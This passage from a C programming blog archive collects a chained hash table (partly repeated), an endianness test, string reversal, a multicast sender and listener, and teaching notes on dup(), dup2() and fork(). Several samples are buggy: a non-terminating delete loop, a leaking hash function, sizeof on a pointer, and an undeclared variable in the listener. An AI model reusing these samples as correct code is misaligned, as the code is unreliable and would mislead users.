 } else {

  hashtable[index].data = calloc(strlen(str) + 1, sizeof(char));

  strcpy(hashtable[index].data, str);

 }

}

 

/* hash data for hashtable */

int htable_hash(char *str) {

 int index = 0;

 char *tmp = NULL;

 

 tmp = calloc(strlen(str) + 1, sizeof(char));

 strcpy(tmp, str);

 

 while(*tmp) {

  index += *tmp;

  tmp++;

 }

 

 index = index % HASHSIZE;

 return index;

}

 

/* resolve collisions in hashtable */

void htable_resolve(node *hashtable, int loc, char *str) {

 node *tmp;

 tmp = hashtable + loc;

 

 while(tmp->next != NULL)

  tmp = tmp->next;

  tmp->next = (node *)malloc(sizeof(node));

  tmp->next->data = calloc(strlen(str) + 1, sizeof(char));

  strcpy(tmp->next->data, str);

  tmp->next->next = NULL;

}

 

/* display hashtable */

void htable_display(node *hashtable) {

 int i = 0;

 node *target;

 

 for(i = 0; i < HASHSIZE; i++) {

  if(hashtable[i].data != NULL) {

   target = hashtable + i;

   while(target)

    /* printf("location: %d, data: %s", i, target->data), target = target->next; */

    printf("%s", target->data), target = target->next;

  } /* if */

 } /* for */

}

 

/* delete an entry from hashtable */

int htable_delete(node *hashtable, char *str) {

 node *bla;

 node *blb;

 char *tmp = NULL;

 int index = 0;

 

 index = htable_hash(str);

 

 /* no item at this location */

 if(hashtable[index].data == NULL)

  return 1;

 

 /* only one item at this location */

 if(hashtable[index].next == NULL) {

  if(strcmp(hashtable[index].data, str) == 0) {

   /* item found */

   tmp = hashtable[index].data;

   hashtable[index].data = NULL;

   free(tmp);

  }

 } else {

  /* there is a chaining case */

  bla = hashtable + index;

  /* linked list similar */

  while(bla->next != NULL) {

   if(strcmp(bla->next->data, str) == 0) {

    blb = bla->next;

    if(bla->next->next)

     bla->next = bla->next->next;

    else

     bla->next = NULL;

 

    free(blb);

   } /* if */

  } /* while */

 } /* else */

 

 return 0;

}

FW: endianness of a machine?

 

 

  1 #include <stdio.h>

      2

      3 int main (int argc, char *argv[]) {

      4

      5   int i = 0x0001;

      6    if(*((char*)&i))

      7       printf("LITTLE");

      8    else

      9       printf ("BIG");

     10

     11   printf ("value is: %x %x", i, (char)i);

     12 }

Reverse of string without using extra memory or swaping

 

 

 

http://www.allinterview.com/showanswers/16431.html

 

 

/* Following code does as intended */

#include <stdio.h>

 

#define REVERSE_STRING(X) Rstring(X, *(X), strlen(X)-1)

 

void Rstring( char *str, char c, int index )

{

        if( index != 0 )

               Rstring( str, *(str+(strlen(str))-index),

index-1);     

        *(str+index) = c;             

}

 

int main( void )

{

        char str[] = "Dharmendra Patel";

        printf("Actual string is [%s]\n", str);

        REVERSE_STRING(str);

        printf("Reversed string is [%s]\n", str);

        return 0;

}

 

Wednesday, January 19, 2011

Basic Hash example

Basic hash example

#include < stdio.h>
#include < stdlib.h>

#define HASHSIZE    1000
#define MAXLINE     1024

typedef struct tnode {
 char *data;
 struct tnode *next;
} node;

void htable_init(node *hashtable);                        // fire up hashtable
void htable_insert(node *hashtable, char *str);           // insert data into hashtable
void htable_resolve(node *hashtable, int loc, char *str); // resolve collisions in hashtable
void htable_display(node *hashtable);                     // display hashtable
int  htable_delete(node *hashtable, char *str);           // delete an entry from hashtable
int  htable_hash(char *str);                              // hash data for hashtable

int main(void) {
 char line[MAXLINE];
 node *hashtable;

 hashtable = (node *)malloc(HASHSIZE * sizeof(node));

 htable_init(hashtable);

 while((fgets(line, MAXLINE, stdin)) != NULL)
  htable_insert(hashtable, line);

 htable_display(hashtable);

 return 0;
}

/* fire up hashtable */
void htable_init(node *hashtable) {
 int i = 0;

 for(i = 0; i < HASHSIZE; i++)
  hashtable[i].data = NULL, hashtable[i].next = NULL;
}

/* insert data into hashtable */
void htable_insert(node *hashtable, char *str) {
 int index = 0;
 
 /*
 // determine hash function
 */
 index = htable_hash(str);
 if(hashtable[index].data != NULL) {
  /*
  // collision occurs - resolve by chaining
  */
  htable_resolve(hashtable, index, str);
 } else {
  hashtable[index].data = calloc(strlen(str) + 1, sizeof(char));
  strcpy(hashtable[index].data, str);
 }
}

/* hash data for hashtable */
int htable_hash(char *str) {
 int index = 0;
 char *tmp = NULL;

 tmp = calloc(strlen(str) + 1, sizeof(char));
 strcpy(tmp, str);

 while(*tmp) {
  index += *tmp;
  tmp++;
 }

 index = index % HASHSIZE;
 return index;
}

/* resolve collisions in hashtable */
void htable_resolve(node *hashtable, int loc, char *str) {
 node *tmp;
 tmp = hashtable + loc;

 while(tmp->next != NULL)
  tmp = tmp->next;
  tmp->next = (node *)malloc(sizeof(node));
  tmp->next->data = calloc(strlen(str) + 1, sizeof(char));
  strcpy(tmp->next->data, str);
  tmp->next->next = NULL;
}

/* display hashtable */
void htable_display(node *hashtable) {
 int i = 0;
 node *target;

 for(i = 0; i < HASHSIZE; i++) {
  if(hashtable[i].data != NULL) {
   target = hashtable + i;
   while(target)
    /* printf("location: %d, data: %s", i, target->data), target = target->next; */
    printf("%s", target->data), target = target->next;
  } /* if */
 } /* for */
}

/* delete an entry from hashtable */
int htable_delete(node *hashtable, char *str) {
 node *bla;
 node *blb;
 char *tmp = NULL;
 int index = 0;

 index = htable_hash(str);

 /* no item at this location */
 if(hashtable[index].data == NULL)
  return 1;

 /* only one item at this location */
 if(hashtable[index].next == NULL) {
  if(strcmp(hashtable[index].data, str) == 0) {
   /* item found */
   tmp = hashtable[index].data;
   hashtable[index].data = NULL;
   free(tmp);
  }
 } else {
  /* there is a chaining case */
  bla = hashtable + index;
  /* linked list similar */
  while(bla->next != NULL) {
   if(strcmp(bla->next->data, str) == 0) {
    blb = bla->next;
    if(bla->next->next)
     bla->next = bla->next->next;
    else
     bla->next = NULL;

    free(blb);
   } /* if */
  } /* while */
 } /* else */

 return 0;
}

Multicast datagrams example

Sending Multicast Datagrams

Sending a multicast datagram is easy: The sender simply specifies a multicast address as the destination of an ordinary sendto(2) system call.


Receiving Multicast Datagrams

To receive multicast packets, an application must first request that the host join a particular multicast group. This is done using another call to setsockopt(2):

	struct ip_mreq mreq;

setsockopt(sock,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq));

The definition of struct ip_mreq is as follows:

	struct ip_mreq {
struct in_addr imr_multiaddr; /* multicast group to join */
struct in_addr imr_interface; /* interface to join on */
}

For now, imr_interface can be safely set to INADDR_ANY to join on the default multicast network interface.

In addition to the host part of an IP multicast address, there is also a port number, as in TCP or UDP sockets. This port number information is used by the kernel to decide which port on the local machine to route packets to. However, unlike in TCP or UDP, there can be many sockets which receive IP multicast packets off a single local port. Binding the socket to a local port is done with bind(2), and is done in the same manner as binding to a UDP address.

After the bind(2) has been performed and we have used setsockopt(2) to join a multicast group, we are ready to receive. An ordinary recvfrom(2) call may be used to read datagrams off of the receive socket.


An Example of Multicast Programming: "Hello, World!"

Here is an example which illustrates all the facilities described here for using multicast. It consists of two programs: sender and listener. The listener program simply echoes everything it receives to its standard out, and the sender multicasts "hello, world!" to everyone else in the multicast group.



=====

Multicast Example Programs


Sender Program

/*
* sender.c -- multicasts "hello, world!" to a multicast group once a second
*
* Antony Courtney, 25/11/94
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <string.h>
#include <stdio.h>


#define HELLO_PORT 12345
#define HELLO_GROUP "225.0.0.37"

main(int argc, char *argv[])
{
struct sockaddr_in addr;
int fd, cnt;
struct ip_mreq mreq;
char *message="Hello, World!";

/* create what looks like an ordinary UDP socket */
if ((fd=socket(AF_INET,SOCK_DGRAM,0)) < 0) {
perror("socket");
exit(1);
}

/* set up destination address */
memset(&addr,0,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr(HELLO_GROUP);
addr.sin_port=htons(HELLO_PORT);

/* now just sendto() our destination! */
while (1) {
if (sendto(fd,message,sizeof(message),0,(struct sockaddr *) &addr,
sizeof(addr)) < 0) {
perror("sendto");
exit(1);
}
sleep(1);
}
}

Listener Program

/*
* listener.c -- joins a multicast group and echoes all data it receives from
* the group to its stdout...
*
* Antony Courtney, 25/11/94
* Modified by: Frédéric Bastien (25/03/04)
* to compile without warning and work correctly
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <string.h>
#include <stdio.h>


#define HELLO_PORT 12345
#define HELLO_GROUP "225.0.0.37"
#define MSGBUFSIZE 256

main(int argc, char *argv[])
{
struct sockaddr_in addr;
int fd, nbytes,addrlen;
struct ip_mreq mreq;
char msgbuf[MSGBUFSIZE];

u_int yes=1; /*** MODIFICATION TO ORIGINAL */

/* create what looks like an ordinary UDP socket */
if ((fd=socket(AF_INET,SOCK_DGRAM,0)) < 0) {
perror("socket");
exit(1);
}


/**** MODIFICATION TO ORIGINAL */
/* allow multiple sockets to use the same PORT number */
if (setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {
perror("Reusing ADDR failed");
exit(1);
}
/*** END OF MODIFICATION TO ORIGINAL */

/* set up destination address */
memset(&addr,0,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY); /* N.B.: differs from sender */
addr.sin_port=htons(HELLO_PORT);

/* bind to receive address */
if (bind(fd,(struct sockaddr *) &addr,sizeof(addr)) < 0) {
perror("bind");
exit(1);
}

/* use setsockopt() to request that the kernel join a multicast group */
mreq.imr_multiaddr.s_addr=inet_addr(HELLO_GROUP);
mreq.imr_interface.s_addr=htonl(INADDR_ANY);
if (setsockopt(fd,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq)) < 0) {
perror("setsockopt");
exit(1);
}

/* now just enter a read-print loop */
while (1) {
addrlen=sizeof(addr);
if ((nbytes=recvfrom(fd,msgbuf,MSGBUFSIZE,0,
(struct sockaddr *) &addr,&addrlen)) < 0) {
perror("recvfrom");
exit(1);
}
puts(message);
}
}

Friday, January 7, 2011

About DUP()

Open files

First, read section 3.10 in the book. This discusses the various ways you can share open files. Basically, what is says is the following:

The operating system (OS) has three kinds of data structures for files:

  • ``File table entry'' -- it has one of these for each file descriptor for a user. It contains information like the current lseek pointer, and a pointer to a ``vnode'' (see below). So, when you start your program, the OS has three file table entries for you -- one each for stdin, stdout, stderr. Each time you call open(), a new file table entry is created for you in the OS.
  • ``vnode'' -- There is one of these for each physical file that has been opened. It contains a pointer to the file's inode, the file's size, etc.
  • ``inode'' -- There is one of these for each file on disk. It contains all the information returned by stat().
The difference between a vnode and an inode is where it's located and when it's valid. Inodes are located on disk and are always valid because they contain information that is always needed such as ownership and protection. Vnodes are located in the operating system's memory, and only exist when a file is opened. However, just one vnode exists for every physical file that is opened.

So, look at the following program:

main()
{
int fd1, fd2;

fd1 = open("file1", O_WRONLY | O_CREAT | O_TRUNC, 0644);
fd2 = open("file1", O_WRONLY);

}
Now, what has happened? The OS has created two file table entries, one for each open() call, but only one vnode. This is because there is only one file. Both file table entries point to the same vnode, but they each have different seek pointers. Thus, if we expand the above program into: (This is file fs1.c)
main()
{
int fd1, fd2;

fd1 = open("file1", O_WRONLY | O_CREAT | O_TRUNC, 0644);
fd2 = open("file1", O_WRONLY);

write(fd1, "Jim\n", strlen("Jim\n"));
write(fd2, "Plank\n", strlen("Plank\n"));

close(fd1);
close(fd2);
}
Then what will happen? Well, the first write() call will write the string "Jim\n" into file1. Then the second write() call will overwrite it with "Plank\n". This is because each fd points to its own file table entry, which has its own lseek pointer, and thus the first write() does not update the lseek pointer of the fd2.

To make this more clear, fs1a.c prints out the values of each fd's seek pointer at each step of the program. As you can see, even though the two fd's are for the same file, since they each have their own file table entry, they each have their own seek pointer:

UNIX> fs1
UNIX> cat file1
Plank
UNIX> fs1a
Before writing Jim: lseek(fd1, 0, 1): 0. lseek(fd2, 0, 1): 0
Before writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 0
After writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 6
UNIX> cat file1
Plank
UNIX>

Dup()

Now, the system call dup(int fd) duplicates a file descriptor fd. What this does is return a second file descriptor that points to the same file table entry as fd does. So now you can treat the two file descriptors as identical.

Look at an alteration of fs1.c (in fs2.c). Instead of calling open() to initialize fd2, it calls dup(fd1). Thus, after the first write, the lseek pointer of fd2 has been updated to reflect the write to fd1 -- this is because the two file descriptors point to the same file table entry.

Thus, after running fs2.c, the file "file2" should say "Jim\nPlank\n". Like fs1a.c, fs2a.c prints out the lseek pointers of fd1 and fd2 at each step. As you can see, the write() to fd1 updates the lseek pointer for fd2:

UNIX> fs2
UNIX> cat file2
Jim
Plank
UNIX> fs2a
Before writing Jim: lseek(fd1, 0, 1): 0. lseek(fd2, 0, 1): 0
Before writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 4
After writing Plank: lseek(fd1, 0, 1): 10. lseek(fd2, 0, 1): 10
UNIX> cat file2
Jim
Plank
UNIX>

Now, when fork() is called, ALL FILE DESCRIPTORS ARE DUPLICATED, AS IF dup() WERE CALLED. Thus, look at the following program (fs3.c):

main()
{
char s[1000];
int i, fd;

fd = open("file3", O_WRONLY | O_CREAT | O_TRUNC, 0644);

i = fork();
sprintf(s, "fork() = %d.\n", i);
write(fd, s, strlen(s));
}
What should happen? Well, whichever process gets control of the CPU first after the fork() will write s to file3. Then the other process will append its string s to file3. For example:
UNIX> fs3
UNIX> cat file3
fork() = 0.
fork() = 22107.
UNIX> fs3
UNIX> cat file3
fork() = 0.
fork() = 22110.
UNIX> fs3
UNIX> cat file3
fork() = 22113.
fork() = 0.
UNIX>
Now, this is because the file descriptor fd is duplicated across fork() calls. Were it not duplicated, but instead re-opened, then one write() would overwrite the other.

Perhaps you're thinking, ``He opened a file and then called fork(). Does he have to worry about that buffer copying problem in the last lab?'' The answer is no, because I'm using write(), which is a system call, and there is no buffering. You have to worry about the buffering problem when the standard I/O library is being used, and the buffer is not empty when fork() is called. For example, look at fs3a.c and fs3b.c. They use fprintf() instead of write(). When I call them, I get the following:

UNIX> fs3a
UNIX> cat file3
fork() = 0.
fork() = 3716.
UNIX> fs3b
UNIX> cat file3
This is file3
fork() = 3719.
This is file3
fork() = 0.
UNIX>
Do you see where the copied buffer is a problem? Make sure you can explain this phenomenon.

Dup2()

Dup2() is a system call that dups an open file descriptor so that the result is a desired file descriptor.
int dup2(int fd1, int fd2)

With dup2(), fd2 specifies the desired value of the new
descriptor. If descriptor fd2 is already in use, it is
first deallocated as if it were closed by close(2V).
Dup2() is most often used so that you can redirect standard input or output. When you call dup2(fd, 0) and the dup2() call is successful, then whenever your program reads from standard input, it will read from fd. Similarly, when you call dup2(fd, 1) and the dup2() call is successful, then whenever your program writes to standard output, it will write to fd.

For example, look at dup2ex.c. This opens the file file4 for writing, and then uses dup2 to redirect standard output to that file. When it's done, you'll see that everything has gone intto file4:

UNIX> dup2ex
UNIX> cat file4
Standard output now goes to file4
It goes even after we closed file descriptor 3
putchar works
And fwrite
And write
UNIX>
Why did I make the fflush() call in dup2ex.c? Take it out and see. Make sure that you can explain this.

Now, suppose you want to execute, for example, "cat < f1 > f2" by calling fork(), exec() and dup2() instead of doing it from the shell. You can do this in catf1f2.c. This opens f1 for reading on stdin (fd 0), and f2 for writing on stdout (fd 1).

Study this program closely, because you will find it greatly helpful in the jsh lab.